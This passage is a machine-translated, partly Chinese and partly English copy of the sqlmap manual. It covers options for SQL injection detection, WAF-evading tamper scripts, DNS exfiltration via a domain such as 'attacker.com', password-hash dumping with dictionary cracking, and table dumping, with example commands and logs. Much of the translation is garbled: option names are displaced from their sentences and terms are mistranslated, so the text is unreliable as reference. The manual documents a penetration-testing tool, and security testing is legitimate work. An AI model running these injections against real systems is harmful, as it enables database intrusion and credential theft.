強烈建議您偶爾使用,以確保一切都設定正確。在某些情況下,Tor 捆綁包(例如 Vidalia)配置錯誤(或重置以前設定的配置)會給人一種虛假的匿名感。使用此開關 sqlmap 將檢查一切是否按預期工作,通過向官方傳送單個請求,您是否在任何目標請求之前使用 Tor? page。如果檢查失敗,sqlmap 將警告您並突然退出。--check-tor

每個 HTTP 請求之間的延遲

選項:--delay

可以指定每個 HTTP(S) 請求之間的保持秒數。有效值是浮點,例如表示半秒。預設情況下,不設定延遲。0.5

在超時連線之前等待秒數

選項:--timeout

在考慮 HTTP(S) 請求的時長之前,可以指定等待的秒數。有效值是浮點,例如 10.5 表示 10 秒半。預設情況下設定 30秒。

HTTP 連線超時時的最大重數

選項:--retries

當 HTTP(S) 連線超時時,可以指定最大應重數。預設情況下,它重重多達三次

隨機更改給定引數的值

選項:--randomize

可以指定引數名稱,您希望在每個請求期間隨機更改其值。長度和型別根據提供的原始值保留。

使用正則表示式從提供的代理日誌篩選目標

選項:--scope

與使用從提供的日誌解析的所有主機的選項,您可以指定有效的 Python 正則表示式用於篩選所需的主機。-l

有效語法示例:

$ python sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"

避免在請求太多失敗後銷燬會話

選項: 、 和--safe-url``--safe-post``--safe-req``--safe-freq

有時,如果執行一定數量的不成功請求,介於兩者之間的 Web 應用程式或檢查技術會破壞會話。這可能發生在 sqlmap 的檢測階段,或者它利用任何盲 SQL 注入型別時。原因是 SQL 有效負載不一定返回輸出,因此可能會嚮應用程式會話管理或檢查技術發出訊號。

若要繞過目標設定的此限制,可以提供任何(或組合)選項:

  • --safe-url:在測試期間要經常訪問的 URL 地址。
  • --safe-post:HTTP POST 資料傳送到給定的安全 URL 地址。
  • --safe-req:從檔案載入和使用安全 HTTP 請求。
  • --safe-freq: 測試兩次訪問給定安全位置之間的請求。

這樣,sqlmap 將訪問每個預定義的請求數量,該請求是某個安全URL,而無需對它執行任何型別的注入。

關閉引數值的 URL 編碼

開關:--skip-urlencode

根據引數放置(例如 GET),預設情況下其值可以進行 URL 編碼。在某些情況下,端端 Web 伺服器不遵循 RFC 標準,並且要求以原始非編碼形式傳送值。在此類情況下使用。--skip-urlencode

繞過防 CSRF 保護

選項: 和--csrf-token``--csrf-url

許多網站以令牌的形式納入了反 CSRF 保護,這些令牌是在每個頁面響應期間隨機設定的隱藏欄位值。sqlmap 將自動嘗試識別和繞過此類保護,但存在一些選項,可用於進一步微調它。選項可用於設定包含隨機令牌的隱藏值的名稱。當網站對此類欄位使用非標準名稱時,這非常有用。選項可用於從任意 URL 地址檢索令牌值。如果易受攻擊的目標 URL 最初不包含必要的令牌值,但需要從其他位置提取它,則此功能非常有用。--csrf-token``--csrf-url``--csrf-token``--csrf-url

強制使用 SSL/HTTPS

開關:--force-ssl

如果使用者希望強制使用 SSL/HTTPS 請求對目標,他可以使用此開關。這在使用選項收集 URL 時或使用選項提供 Burp 日誌時非常有用。--crawl``-l

評估每個請求期間的自定義 python 程式碼

選項:--eval

如果使用者想要更改(或新增新)引數值(很可能由於某些已知的依賴關係),他可以向 sqlmap 提供自定義 python 程式碼,該選項將在每次請求之前進行評估。--eval

例如:

$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b9238\
20dcc509a6f75849b" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"

此類執行的每個請求都將重新評估 GET 引數的值,以包含引數當前值的新的 MD5 雜湊摘要。hash``id

優化

這些開關可用於優化 sqlmap 的效能。

捆綁包優化

開關:-o

此開關是隱式設定以下選項和開關的別名:

  • --keep-alive
  • --null-connection
  • --threads=3如果未設定為較高的值。

有關每個交換機的詳細資訊,請閱讀下文。

輸出預測

開關:--predict-output

此開關用於推理演算法,用於對檢索值的字元進行連續統計預測。具有最有希望的字元值的統計表是根據給定的項和當前使用的列舉知識構建的。如果可以在公共輸出值中找到該值,則隨著流程的進行,後續字元表正在越來越縮小。如果與檢索公共 DBMS 實體(如系統表名稱和許可權)結合使用,則速度顯著。當然,如果您注意到資料庫表名稱或類似名稱中的通用模式,您可以根據需要編輯公共輸出檔案。txt/common-outputs.txt

請注意,此開關與交換機不相容。--threads

HTTP 保持活動狀態

開關:--keep-alive

此開關指示 sqlmap 使用持久 HTTP 連線。

請注意,此交換機與交換機不相容。--proxy

HTTP 空連線

開關:--null-connection

有特殊的 HTTP 請求型別可用於檢索 HTTP 響應的大小,而無需獲取 HTTP 正文。這種知識可用於盲注射技術,以區分與反應。提供此開關時,sqlmap 將嘗試測試和利用兩種不同的NULL 連線技術:和 。如果目標 Web 伺服器支援其中任何一個,則速度將來自明顯節省的已用頻寬。True``False``Range``HEAD

這些技術在白皮書《盲 SQL 注入中的突發性能 - 採取 2 (頻寬))》中詳細介紹了。

請注意,此開關與 交換機不相容。--text-only

併發 HTTP(S) 請求

選項:--threads

可以指定允許 sqlmap 執行的併發 HTTP(S) 請求的最大數量。此功能依賴於多執行緒概念,並繼承了其親概念和缺點。

此功能適用於暴力開關,以及通過任何盲 SQL 注入技術完成資料提取時。對於後一種情況,sqlmap 首先計算單個執行緒中的查詢輸出的長度,然後啟動多執行緒。每個執行緒都分配來檢索查詢輸出的一個字元。檢索該字元時,執行緒結束 - 它最多需要 7 個 HTTP(S) 請求,該請求在 sqlmap 中實現雙節演算法。

出於效能和站點可靠性原因,併發請求的最大數設定為10。

請注意,此選項與交換機不相容。--predict-output

注射

這些選項可用於指定要測試的引數、提供自定義注入有效負載和可選的篡改指令碼。

可測試引數

選項: 和-p``--skip``--param-exclude

預設情況下,sqlmap 測試所有 GET 引數和 POST 引數。當 值為 >= 2 時,它也會測試 HTTP 標頭值。當此值為 >= 3 時,它還會測試 SQL 注入的 HTTP 和 HTTP 標頭值。但是,可以手動指定您希望 sqlmap 測試的引數逗號分隔列表。這將繞過對價值的依賴。--level``Cookie``User-Agent``Referer``--level

例如,若要僅測試 GET 引數和 HTTP,請提供 。id``User-Agent``-p "id,user-agent"

如果使用者希望從測試中排除某些引數,他可以使用 選項 。當您想要使用更高的值並測試所有可用引數(不包括通常測試的一些 HTTP 標頭)時,這尤其有用。--skip``--level

例如,若要跳過對 HTTP 標頭和 HTTP 標頭的測試,請提供 。User-Agent``Referer``--level=5``--skip="user-agent,referer"

還可以根據基於其名稱執行的正則表示式從測試中排除某些引數。在這種情況下,使用者可以使用選項。--param-exclude

例如,若要跳過對包含字串或其名稱中的引數的測試,請提供 。token``session``--param-exclude="token|session"

URI 噴射點

當注射點位於 URI 本身中時,有特殊情況。sqlmap 不會對 URI 路徑執行任何自動測試,除非手動指向。您必須通過在每個 URI 點後追加星號 () (注意: Havij 樣式也受支援)來在命令列中指定這些注入點,您希望 sqlmap 測試並利用 SQL 注入。*``%INJECT HERE%

例如,當 Apache Web 伺服器的模組正在使用或mod_rewrite技術時,這尤其有用。

有效命令列的示例是:

$ python sqlmap.py -u "http://targeturl/param1/value1*/param2/value2/"

任意噴射點

與 URI 注入點類似,星號 () (注意: 也支援 Havij 樣式) 也可用於指向 GET、POST 或 HTTP 標頭內的任意注入點。可以通過在提供選項的 GET 引數值內標記注入點,POST 引數值(s) 提供選項,HTTP 標頭值提供選項、和 /或,或在從帶有 選項的檔案載入的 HTTP 請求內的通用位置指定。*``%INJECT HERE%``-u``--data``-H``--headers``--user-agent``--referer``--cookie``-r

有效命令列的示例是:

$ python sqlmap.py -u "http://targeturl" --cookie="param1=value1*;param2=value2"

強制 DBMS

選項:--dbms

預設情況下,sqlmap 會自動檢測 Web 應用程式的端到端資料庫管理系統。sqlmap 完全支援以下資料庫管理系統:

  • MySQL
  • Oracle
  • PostgreSQL
  • Microsoft SQL Server
  • Microsoft Access
  • IBM DB2
  • SQLite
  • Firebird
  • Sybase
  • SAP MaxDB
  • Informix
  • MariaDB
  • Percona
  • MemSQL
  • TiDB
  • CockroachDB
  • HSQLDB
  • H2
  • MonetDB
  • Apache Derby
  • Amazon Redshift
  • Vertica
  • Mckoi
  • Presto
  • Altibase
  • MimerSQL
  • CrateDB
  • Greenplum
  • Drizzle
  • Apache Ignite
  • Cubrid
  • InterSystems Cache
  • IRIS
  • eXtremeDB
  • FrontBase

如果 Sqlmap 由於任何原因在識別 SQL 注入後無法檢測到端端 DBMS,或者如果您想要避免活動 fingeprint,您可以自己提供後端 DBMS 的名稱(例如 )。對於 MySQL 和 Microsoft SQL Server,它們分別以 形式 和 形式提供,其中 DBMS 的有效版本;例如,對於 MySQL 和微軟 SQL Server。postgresql``MySQL <version>``Microsoft SQL Server <version> ``<version>``5.0``2005

如果與 一起提供 ,sqlmap 將僅對指定的資料庫管理系統執行大量指紋,請閱讀下文了解更多詳細資訊。--fingerprint``--dbms

請注意,此選項不是強制性的,強烈建議僅在您絕對確定最終使用者資料庫管理系統時才使用它。如果您不知道,請讓 sqlmap 自動為你指紋。

強制資料庫管理系統作業系統名稱

選項:--os

預設情況下,sqlmap 自動檢測 Web 應用程式的後端資料庫管理系統,當此資訊依賴於任何其他提供的交換機或選項時。目前,完全支援的作業系統是:

  • Linux
  • 窗戶

如果您已經知道作業系統名稱,則可以強制它,以便 sqlmap 將避免它本身執行。

請注意,此選項不是強制性的,強烈建議僅在您絕對確定基於作業系統的端到端資料庫管理系統時才使用它。如果您不知道,請讓 sqlmap 自動識別它。

強制使用大數字使值無效

開關:--invalid-bignum

當 sqlmap 需要使原始引數值無效時(例如 ),它使用經典否定(例如 )。使用此開關,可以強制使用大整數值來實現相同的目標(例如 )。id=13``id=-13``id=99999999

強制使用邏輯操作使值無效

開關:--invalid-logical

當 sqlmap 需要使原始引數值無效時(例如 ),它使用經典否定(例如 )。使用此開關,可以強制使用布林操作來實現相同的目標(例如 )。id=13``id=-13``id=13 AND 18=19

強制使用隨機字串使值無效

開關:--invalid-string

當 sqlmap 需要使原始引數值無效時(例如 ),它使用經典否定(例如 )。使用此開關可以強制使用隨機字串來實現相同的目標(例如 )。id=13``id=-13``id=akewmc

關閉有效負載鑄造機構

開關:--no-cast

檢索結果時,sqlmap 使用一種機制,其中所有條目都強制轉換到字串型別,並在值的情況下替換為空白字元。這樣做是為了防止任何錯誤狀態(例如,將值與字串值串聯),並便於資料檢索過程本身。然而,由於資料檢索本身的問題(例如,需要關閉此機制(使用此開關),因此報告了一些案例(例如 MySQL DBMS 的較舊版本)。 值返回)。NULL``NULL``None

關閉字串轉義機制

開關:--no-escape

當 sqlmap 需要在有效負載內使用 (單引號分隔) 字串值時(例如 ),這些值將自動轉義(例如 )。這樣做是因為兩件事:混淆有效負載內容和防止查詢轉義機制的潛在問題(例如: 和/或 ) 在後端伺服器。使用者可以使用此開關將其關閉(例如,減小有效負載大小)。SELECT 'foobar'``SELECT CHAR(102)+CHAR(111)+CHAR(111)+CHAR(98)+CHAR(97)+CHAR(114)``magic_quotes``mysql_real_escape_string

自定義噴射有效負載

選項: 和--prefix``--suffix

在某些情況下,只有在使用者提供要附加到注入有效負載的特定字尾時,才能利用易受攻擊的引數。當用戶已經知道查詢語法並希望通過直接提供注入有效負載字首和字尾來檢測和利用 SQL 注入時,這些選項會派上用場。

易受攻擊的原始碼示例:

$query = "SELECT * FROM users WHERE id=('" . $_GET['id'] . "') LIMIT 0, 1";

若要檢測和利用此 SQL 注入,可以讓 sqlmap檢測階段檢測邊界(如 SQL 有效負載字首和字尾的組合),也可以自己提供這些邊界。

例如:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php\
?id=1" -p id --prefix "')" --suffix "AND ('abc'='abc"
[...]

這將導致所有 sqlmap 請求以查詢結束,如下所示:

$query = "SELECT * FROM users WHERE id=('1') <PAYLOAD> AND ('abc'='abc') LIMIT 0, 1";

這使得查詢在語法上是正確的。

在這個簡單的示例中,sqlmap 可以檢測 SQL 注入並利用它,而無需提供自定義邊界,但有時在實際應用程式中,當注入點位於巢狀查詢中時,需要提供它。JOIN

篡改注入資料

選項:--tamper

sqlmap 本身不會混淆傳送的有效負載,但單引號之間的字串替換為其類似表示形式。CHAR()

在您和回端資料庫管理系統之間輸入驗證機制較弱的情況下,此選項非常有用且功能強大。此機制通常是由應用程式原始碼、昂貴的企業級 IPS 裝置或 Web 應用程式防火牆 (WAF) 呼叫的自開發的輸入驗證例程。所有流行語定義相同的概念, 以不同的方式實現, 並花費很多錢, 通常。

要利用此選項,請向 sqlmap 提供一個逗號分隔的篡改指令碼列表,這將處理有效負載並返回其轉換。您可以定義自己的篡改指令碼,從資料夾中使用 sqlmap 指令碼,或者編輯它們,只要將它們串聯為選項的值(例如 )。tamper/``--tamper``--tamper="between,randomcase"

有效篡改指令碼的格式如下:

# Needed imports
from lib.core.enums import PRIORITY

# Define which is the order of application of tamper scripts against
# the payload
__priority__ = PRIORITY.NORMAL

def tamper(payload):
    '''
    Description of your tamper script
    '''

    retVal = payload

    # your code to tamper the original payload

    # return the tampered payload
    return retVal

您可以在目錄中檢查有效和可用篡改指令碼。tamper/

假設字元、空格和大寫字串被禁止,則針對 MySQL 目標的示例:>``SELECT

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --\
tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3

[hh:mm:03] [DEBUG] cleaning up configuration parameters
[hh:mm:03] [INFO] loading tamper script 'between'
[hh:mm:03] [INFO] loading tamper script 'randomcase'
[hh:mm:03] [INFO] loading tamper script 'space2comment'
[...]
[hh:mm:04] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[hh:mm:04] [PAYLOAD] 1)/**/And/**/1369=7706/**/And/**/(4092=4092
[hh:mm:04] [PAYLOAD] 1)/**/AND/**/9267=9267/**/AND/**/(4057=4057
[hh:mm:04] [PAYLOAD] 1/**/AnD/**/950=7041
[...]
[hh:mm:04] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[hh:mm:04] [PAYLOAD] 1/**/anD/**/(SELeCt/**/9921/**/fROm(SELeCt/**/counT(*),CONC
AT(cHar(58,117,113,107,58),(SELeCt/**/(case/**/whEN/**/(9921=9921)/**/THeN/**/1/
**/elsE/**/0/**/ENd)),cHar(58,106,104,104,58),FLOOR(RanD(0)*2))x/**/fROm/**/info
rmation_schema.tables/**/group/**/bY/**/x)a)
[hh:mm:04] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or
 HAVING clause' injectable 
[...]

檢測

這些選項可用於自定義檢測階段。

水平

選項:--level

此選項需要指定要執行的測試級別的引數。有五個級別。預設值為1,其中執行的測試(請求)數量有限。反之亦然,級別5將詳細測試更多的有效負載和邊界(如 SQL 有效負載字首和字尾對)。sqlmap 使用的有效負載在文字檔案中指定。按照檔案頂部的說明,如果 sqlmap 錯過了注入,您應該能夠新增自己的有效負載來測試!xml/payloads.xml

此選項不僅影響哪些有效負載 sqlmap 嘗試,還影響考試中哪些注入點:始終測試 GET 和POST 引數,從級別2測試 HTTP Cookie 標頭值,從級別3測試 HTTP 使用者代理/引用者標頭的值。

總之,檢測 SQL 注入越困難,必須設定得越高。--level

強烈建議在向郵件列表報告 sqlmap 無法檢測到某個注入點之前提高此值。

風險

選項:--risk

此選項需要指定要執行測試風險的引數。有三風險值。預設值為1,對於大多數 SQL 注入點都是無害的。風險值 2 將重查詢時間 SQL 注入的測試新增到預設級別,值 3 新增也基於 SQL 注入的測試。OR

在某些情況下,如語句中的 SQL 注入,注入基於負載會導致表的所有條目的更新,這肯定不是攻擊者想要的。出於這個原因和其他選項已經引入:使用者可以控制哪些有效負載得到測試,使用者可以任意選擇使用也潛在的危險。根據上一個選項,sqlmap 使用的有效負載在文字檔案中指定,您可以自由編輯和新增自己的負載。UPDATE``OR``xml/payloads.xml

頁面比較

選項: 、 和--string``--not-string``--regexp``--code

預設情況下,通過將注入的請求頁面內容與原始未注入的頁面內容進行比較,可以區分查詢與查詢(基於布林的盲 SQL 注入漏洞背後的粗略概念)。這個概念並不總是有效的,因為有時頁面內容在每次重新整理時都發生更改,甚至不注入任何內容,例如,當頁面具有計數器、動態播發橫幅或 HTML 的任何其他部分時,這些部分會動態呈現,並且可能會及時更改,從而影響使用者的輸入。若要繞過此限制,sqlmap 會盡力識別響應實體的這些片段並進行相應的處理。有時它可能失敗,這就是為什麼使用者可以提供一個字串(選項),這應該存在於原始頁面(雖然它不是一個要求)和所有真注入查詢頁,但它不是在False 的。使用者可以提供正則表示式(選項),而不是靜態字串。或者,使用者可以提供一個字串(選項),該字串(選項)不存在於原始頁面上,也未出現在所有 True 注入的查詢頁上,但始終顯示在 False 上。True``False``--string``--regexp``--not-string

此類資料對於使用者來說很容易檢索,只需嘗試將無效值注入受影響的引數,然後手動將原始(未注入)頁面內容與注入的錯誤頁面內容進行比較。這樣,區別將基於字串存在或正則表示式匹配。

當用戶知道查詢與查詢之間的區別可以使用 HTTP 程式碼完成的情況下(例如, 和 ,他可以向 sqlmap 提供該資訊(例如 )。True``False``200``True``401``False``--code=200

開關:和--text-only``--titles

當用戶知道查詢與查詢之間的區別可以使用 HTML 標題完成的情況下(例如, 對於 和 ),他可以使用開關開啟基於標題的比較。True``False``Welcome``True``Forbidden``False``--titles

在 HTTP 響應正文中包含大量活動內容(如指令碼、嵌入等)的情況下,您可以篩選頁面(切換),只檢視其文字內容。這樣,在很多情況下,您可以自動調整檢測引擎。--text-only

技術

這些選項可用於調整特定 SQL 注入技術的測試。

要測試的 SQL 注入技術

選項:--technique

此選項可用於指定要測試的 SQL 注入型別。預設情況下,它支援的所有型別/技術的 sqlmap 測試。

在某些情況下,您可能只想測試一種或幾種特定型別的 SQL 注入思想,這就是此選項發揮作用的地方。

此選項需要引數。此類引數是由 、、 和 等 和 字元的任意組合組成的字串,其中每個字母代表不同的技術:B``E``U``S``T``Q

  • B: 基於布林的盲
  • E: 基於錯誤的
  • U: 基於聯合查詢
  • S: 堆疊查詢
  • T: 基於時間的盲
  • Q: 內聯查詢

例如,如果只想測試和利用基於錯誤的查詢和堆疊的查詢 SQL 注入型別,可以提供。預設值為 。ES``BEUSTQ

請注意,當您要訪問檔案系統、接管作業系統或訪問 Windows 登錄檔配置單元時,該字串必須包含堆疊查詢技術字母 。S

延遲基於時間的盲 SQL 注入的 DBMS 響應的秒數

選項:--time-sec

在測試基於時間的盲 SQL 注入時,可以設定秒以延遲響應,為此提供了後跟整數的選項。預設情況下,其值設定為5 秒--time-sec

UNION 查詢 SQL 注入中的列數

選項:--union-cols

預設情況下,使用 1 到 10 列對 UNION 查詢 SQL 注入技術進行 sqlmap 測試。但是,通過提供更高的值,可以增加此範圍最多 50 列。有關詳細資訊,請參閱相關段落。--level

通過向該工具提供選項後跟一系列整數,可以手動告訴 sqlmap 使用特定範圍的列來測試這種型別的 SQL 注入。例如,通過使用 12 到 16 列來測試 UNION 查詢 SQL 注入。--union-cols``12-16

用於測試 UNION 查詢 SQL 注入的字元

選項:--union-char

預設情況下,使用字元測試 UNION 查詢 SQL 注入技術的 sqlmap。但是,通過提供較高的值 sqlmap 也將使用隨機數執行測試,因為在某些角落情況下,UNION 查詢測試失敗,而使用隨機整數則成功。NULL``--level``NULL

您可以使用具有所需字元值的選項(例如 ),可以手動告訴 sqlmap 使用特定字元測試這種型別的 SQL 注入。--union-char``--union-char 123

要在 UNION 查詢 SQL 注入的 FROM 部分中使用的表

選項:--union-from

在某些 UNION 查詢 SQL 注入情況下,需要在子句中強制使用有效和可訪問的表名。例如,Microsoft Access 需要使用此類表。如果沒有提供一個 UNION 查詢 SQL 注入將無法正確執行(例如 )。FROM``--union-from=users

DNS 滲透攻擊

選項:--dns-domain

DNS滲漏SQL注入攻擊在SQL注入攻擊中通過DNS進行紙質資料檢索,而在Sqlmap內部的實現表現可以在使用sqlmap的幻燈片SDN滲漏中找到

如果使用者正在控制註冊為 DNS 域伺服器(例如域)的機器,他可以使用此選項(例如 )開啟此攻擊。它工作的先決條件是執行具有特權(使用特權埠)的 sqlmap,並且一種正常(盲)技術可用於利用。這就是攻擊的目的,就是在至少識別一種技術(最好基於時間的盲項)的情況下加快資料檢索過程。如果基於錯誤的盲查詢或 UNION 查詢技術可用,則預設情況下將跳過這些技術,因為這些技術是首選。attacker.com``--dns-domain attacker.com``Administrator``53

二階攻擊

選項: 和--second-url``--second-req

二階 SQL 注入攻擊是一種攻擊,其中一個易受攻擊的頁中注入的有效負載的結果顯示(反射)另一個(例如幀)。通常,這是因為使用者在原始易受攻擊的頁面上提供的輸入的資料庫儲存。

您可以使用 URL 地址或請求檔案的選項將傳送到顯示結果的伺服器,手動告訴 sqlmap 以測試這種型別的 SQL 注入。--second-order``--second-req

指紋

廣泛的資料庫管理系統指紋

開關:或-f``--fingerprint

預設情況下,Web 應用程式的端端資料庫管理系統指紋由 sqlmap 自動處理。在檢測階段結束後,使用者最終被提示選擇要繼續使用哪個易受攻擊的引數,sqlmap 會對端端資料庫管理系統進行指紋識別,然後通過知道要使用的 SQL 語法、方言和查詢來繼續注入,以便在資料庫體系結構的範圍內繼續攻擊。

如果對於任何例項,您想要基於各種技術(如特定的 SQL 方言和帶內錯誤訊息)執行廣泛的資料庫管理系統指紋,您可以提供 switch 。sqlmap 將執行更多的請求,並識別確切的 DBMS 版本,並在可能的情況下對作業系統、體系結構和修補程式級別進行指紋識別。--fingerprint

如果希望指紋的結果更準確,還可以提供開關或 。-b``--banner

列舉

這些選項可用於列舉表中包含的端端資料庫管理系統資訊、結構和資料。此外,您可以執行自己的 SQL 語句。

檢索所有

開關:--all

此開關可用於使用者希望使用單個交換機檢索可遠端訪問的所有內容的情況。不建議這樣做,因為它將生成大量檢索有用和未用資料的請求。

旗幟

切換:或-b``--banner

大多數現代資料庫管理系統都有一個函式和/或一個環境變數,它返回資料庫管理系統版本,並最終詳細說明其修補程式級別,即基礎系統。通常函式為,環境變數為 ,但這取決於目標 DBMS。version()``@@version

針對 Oracle 目標的示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int.php?id=1" -\
-banner

[...]
[xx:xx:11] [INFO] fetching banner
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: Oracle
banner:    'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'

會話使用者

開關:--current-user

通過此開關,可以檢索資料庫管理系統的使用者,該使用者正在從 Web 應用程式對端 DBMS 有效執行查詢。

當前資料庫

Switch: --current-db

With this switch it is possible to retrieve the database management system's database name that the web application is connected to.

Server hostname

Switch: --hostname

With this switch it is possible to retrieve the database management system's hostname.

Example against a MySQL target:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --\
hostname

[...]
[xx:xx:04] [INFO] fetching server hostname
[xx:xx:04] [INFO] retrieved: debian-5.0-i386
hostname:    'debian-5.0-i386'

檢測會話使用者是否為資料庫管理員

開關:--is-dba

可以檢測當前資料庫管理系統會話使用者是否為資料庫管理員,也稱為 DBA。sqlmap 將返回,如果是,反之亦然。True``False

列出資料庫管理系統使用者

開關:--users

當會話使用者讀取了包含 DBMS 使用者資訊的系統表時,可以列舉使用者列表。

列出和破解資料庫管理系統使用者密碼雜湊

開關:--passwords

當會話使用者讀取對包含 DBMS 使用者密碼資訊的系統表的訪問許可權時,可以列舉每個資料庫管理系統使用者的密碼雜湊。sqlmap 將首先列舉使用者,然後對每個使用者使用不同的密碼雜湊。

針對 PostgreSQL 目標的示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --\
passwords -v 1

[...]
back-end DBMS: PostgreSQL
[hh:mm:38] [INFO] fetching database users password hashes
do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
[hh:mm:42] [INFO] using hash method: 'postgres_passwd'
what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt] 
[hh:mm:46] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt'
do you want to use common password suffixes? (slow!) [y/N] n
[hh:mm:48] [INFO] starting dictionary attack (postgres_passwd)
[hh:mm:49] [INFO] found: 'testpass' for user: 'testuser'
[hh:mm:50] [INFO] found: 'testpass' for user: 'postgres'
database management system users password hashes:
[*] postgres [1]:
    password hash: md5d7d880f96044b72d0bba108ace96d1e4
    clear-text password: testpass
[*] testuser [1]:
    password hash: md599e5ea7a6f7c3269995cba3927fd0093
    clear-text password: testpass

sqlmap 不僅枚舉了 DBMS 使用者及其密碼,還識別了 PostgreSQL 的雜湊格式,詢問使用者是否針對字典檔案測試雜湊,並標識了使用者的明文密碼(通常是與其他使用者一起的 DBA,即密碼)。postgres``testuser

此功能已用於所有 DBMS,其中可以列舉使用者的密碼雜湊,包括 2005 年之前和之後,包括 Oracle 和 Microsoft SQL Server。

您還可以提供指定要列舉的特定使用者並最終破解密碼雜湊的選項。如果您提供使用者名稱,它將視為當前使用者的別名,並將檢索此使用者的密碼雜湊。-U``CU

列出資料庫管理系統使用者許可權

開關:--privileges

當會話使用者讀取包含 DBMS 使用者資訊的系統表時,可以列舉每個資料庫管理系統使用者的許可權。通過許可權,sqlmap 還將顯示哪些是資料庫管理員。

您還可以提供選項來指定要列舉許可權的使用者。-U

如果您作為使用者名稱提供,它將視為當前使用者的別名,並將列舉此使用者的許可權。CU

在 Microsoft SQL Server 上,此功能將顯示每個使用者是否都是資料庫管理員,而不是所有使用者的許可權列表。

列出資料庫管理系統使用者角色

開關:--roles

當會話使用者讀取包含 DBMS 使用者資訊的系統表時,可以列舉每個資料庫管理系統使用者的角色。

您還可以提供選項來指定要列舉許可權的使用者。-U

If you provide as username it will consider it as an alias for current user and will enumerate the privileges for this user.CU

This feature is only available when the DBMS is Oracle.

List database management system's databases

Switch: --dbs

When the session user has read access to the system table containing information about available databases, it is possible to enumerate the list of databases.

Enumerate database's tables

Switches and option: , and --tables``--exclude-sysdbs``-D

When the session user has read access to the system table containing information about databases' tables, it is possible to enumerate the list of tables for a specific database management system's databases.

If you do not provide a specific database with option , sqlmap will enumerate the tables for all DBMS databases.-D

You can also provide the switch to exclude all system databases.--exclude-sysdbs

Note that on Oracle you have to provide the instead of the database name.TABLESPACE_NAME

Enumerate database table columns

Switch and options: , , and --columns``-C``-T``-D

When the session user has read access to the system table containing information about database's tables, it is possible to enumerate the list of columns for a specific database table. sqlmap also enumerates the data-type for each column.

This feature depends on option to specify the table name and optionally on to specify the database name. When the database name is not specified, the current database name is used. You can also provide the option to specify the table columns name like the one you provided to be enumerated.-T``-D``-C

Example against a SQLite target:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" -\
-columns -D testdb -T users -C name
[...]
Database: SQLite_masterdb
Table: users
[3 columns]
+---------+---------+
| Column  | Type    |
+---------+---------+
| id      | INTEGER |
| name    | TEXT    |
| surname | TEXT    |
+---------+---------+

Note that on PostgreSQL you have to provide or the name of a system database. That's because it is not possible to enumerate other databases tables, only the tables under the schema that the web application's user is connected to, which is always aliased by .public``public

Enumerate database management system schema

Switches: and --schema``--exclude-sysdbs

User can retrieve a DBMS schema by using this switch. Schema listing will contain all databases, tables and columns, together with their respective types. In combination with only part of the schema containing non-system databases will be retrieved and shown.--exclude-sysdbs

針對 MySQL 目標的示例:

$ python sqlmap.py -u "http://192.168.48.130/sqlmap/mysql/get_int.php?id=1" --s\
chema--batch --exclude-sysdbs

[...]
Database: owasp10
Table: accounts
[4 columns]
+-------------+---------+
| Column      | Type    |
+-------------+---------+
| cid         | int(11) |
| mysignature | text    |
| password    | text    |
| username    | text    |
+-------------+---------+

Database: owasp10
Table: blogs_table
[4 columns]
+--------------+----------+
| Column       | Type     |
+--------------+----------+
| date         | datetime |
| blogger_name | text     |
| cid          | int(11)  |
| comment      | text     |
+--------------+----------+

Database: owasp10
Table: hitlog
[6 columns]
+----------+----------+
| Column   | Type     |
+----------+----------+
| date     | datetime |
| browser  | text     |
| cid      | int(11)  |
| hostname | text     |
| ip       | text     |
| referer  | text     |
+----------+----------+

Database: testdb
Table: users
[3 columns]
+---------+---------------+
| Column  | Type          |
+---------+---------------+
| id      | int(11)       |
| name    | varchar(500)  |
| surname | varchar(1000) |
+---------+---------------+
[...]

檢索表的條目數

開關:--count

如果使用者只想在轉儲所需的表之前知道表中的條目數,他可以使用此開關。

針對 Microsoft SQL Server 目標的示例:

$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1"\
 --count -D testdb
[...]
Database: testdb
+----------------+---------+
| Table          | Entries |
+----------------+---------+
| dbo.users      | 4       |
| dbo.users_blob | 2       |
+----------------+---------+

轉儲資料庫表條目

開關和選項: , , , , , , 、 、 、 、 、 、 、 、 、 、 、 、 、 、 、 、 、 、 、 、 、 、 、 、 、 、 、 、 、 、 、--dump``-C``-T``-D``--start``--stop``--first``--last``--pivot-column``--where

當會話使用者已讀取對特定資料庫的表的訪問許可權時,可以轉儲表條目。

此功能取決於指定表名的選項,可選的選項用於指定資料庫名稱。如果提供了表名,但資料庫名稱未提供,則使用當前資料庫名稱。-T``-D

針對火鳥目標的示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1"\
 --dump -T users
[...]
Database: Firebird_masterdb
Table: USERS
[4 entries]
+----+--------+------------+
| ID | NAME   | SURNAME    |
+----+--------+------------+
| 1  | luther | blisset    |
| 2  | fluffy | bunny      |
| 3  | wu     | ming       |
| 4  | NULL   | nameisnull |
+----+--------+------------+

此開關還可用於轉儲提供資料庫的所有表條目。您只需提供具有開關的 sqlmap 以及僅選項(否和否)。--dump``-D``-T``-C

您還可以提供要使用 選項轉儲的特定列的逗號分隔列表。-C

sqlmap 還為每個轉儲 CSV 格式文字檔案中的條目的表生成。您可以看到 sqlmap 通過提供大於或等於1的詳細程度級別建立檔案的絕對路徑。

